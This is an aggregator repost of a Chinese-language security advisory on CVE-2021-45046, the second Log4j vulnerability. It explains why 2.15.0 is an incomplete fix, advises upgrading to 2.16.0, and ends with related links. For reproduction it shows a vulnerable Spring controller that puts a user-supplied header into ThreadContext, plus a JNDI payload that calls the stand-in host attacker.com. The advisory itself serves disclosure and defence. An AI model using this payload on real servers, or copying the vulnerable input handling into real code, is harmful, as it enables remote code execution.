

Log4Shell 更新:第二个 log4j 漏洞已发布 - lunasec
source link: https://www.jdon.com/58024
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

Log4Shell 更新:第二个 log4j 漏洞已发布
在 log4j 维护者发布2.15.0解决 Log4Shell 漏洞的版本后,在CVE-2021-45046 中发现并报告了一个额外的攻击,继续建议您升级到2.16.0,以防发现进一步的漏洞来滥用此攻击。
新的 CVE(CVE-2021-45046) 发现:
- Apache Log4j 2.15.0 中针对 CVE-2021-44228 的修复在某些非默认配置中不完整。
- 2.7.0 <= Apache log4j <= 2.14.1情况下,如设置系统属性log4j2.noFormatMsgLookup为true不能减轻这种特定的漏洞。
Log4j 2.16.0 通过删除对消息查找模式的支持和默认禁用 JNDI 功能来完全缓解此问题。
对于上述第二种情况的重现:
设置系统属性log4j2.noFormatMsgLookup为true:
ENV LOG4J_FORMAT_MSG_NO_LOOKUPS true
如果你 Log4j2 属性配置包括自定义格式:
appender.console.layout.pattern = ${ctx:apiversion} - %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L - %m%n
注意${ctx:apiversion}格式字符串指的是ThreadContext中的一个名为apiversion值。ThreadContext是线程上下文,用来在线程之间共享变量或状态的。
在代码中使用:
ThreadContext.put("apiversion", apiVersion);
就可以将apiversion值放入线程上下文,供Log4j的自定义格式使用。
例如详细代码如下:
@GetMapping("/") public String index(@RequestHeader("X-Api-Version") String apiVersion) { // Add user controlled input to threadcontext; // Used in log via ${ctx:apiversion} ThreadContext.put("apiversion", apiVersion); // Notice how these changes remove apiVersion from directly being logged logger.info("Received a request for API version"); return "Hello, world!"; }
上述代码将外部输入参数apiVersion直接保存到线程上下文ThreadContext中,然后Log4j2再根据自定义配置将其打印输出出来。
这是整个新的漏洞路径。
如果攻击者使用$ {jndi: ldap: //attacker.com/a}作为你的系统的输入参数,也就是赋值给上述代码的apiVersion变量,就可以通过这个新的漏洞路径运行他自己的任意程序了。
详情点击标题
Recommend
-
55
在log4j日志包中发现RCE 0-day漏洞 几个小时前,在流行的 Java 日志库log4j中发现了一个 0day漏洞,该漏洞通过记录某个字符串导致远程代码执行 (RCE)。鉴于该库非常流行,漏洞利用(完全服务器控制)的影响以及利用的容易程度,该漏洞的影响非常...
-
6
Log4Shell vulnerability disclosed: Prevent Log4j RCE by updating to version 2.15.0
-
7
「互联网正在着火」? 如果你多少关注信息安全资讯,或许在最近几天已经频繁听到 Log4Shell 这个漏洞的名字——或者一些更具传播性的说法,诸如「互联网正在着火」「过去十年最严重的漏洞」「现代计算机历史上最大漏洞」「难以想到...
-
12
Just trying to fix this? Please read our dedicated Mitigation Guide...
-
6
← All postsLog4Shell: Apache Log4j VulnerabilityWhat it is and how to detect and fix it with DeepSource.
-
10
CVE-2021-44228 (Log4Shell log4j vulnerability). Log4Shell log4j vulnerability (CVE-2021-44228 / CVE-2021-45046) - cheat-sheet reference guide Last updated: $Date: 2021/12/15 22:47:17 $ UTC - best effort...
-
9
Security & Compliance SDKs to stop data leaks in your software. With just a few lines, LunaSec adds a Zero Trust Architecture across your stack, Unique Per-Record Encryption, and protection from common security issues like XSS, SQL Inject...
-
11
Log4j “Log4Shell” RCE explained (CVE-2021-44228) Leave a reply Hell...
-
4
LunaSec (YC S19) Is Hiring a Growth Lead to Help Build Our GitHub Community LunaSec (YC S19) Is Hiring a Growth Lead to Help Build Our GitHub Community...
-
8
A Year Later, That Brutal Log4j Vulnerability Is Still LurkingDespite mitigation, one of the worst bugs in internet history is still prevalent—and being exploited.
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK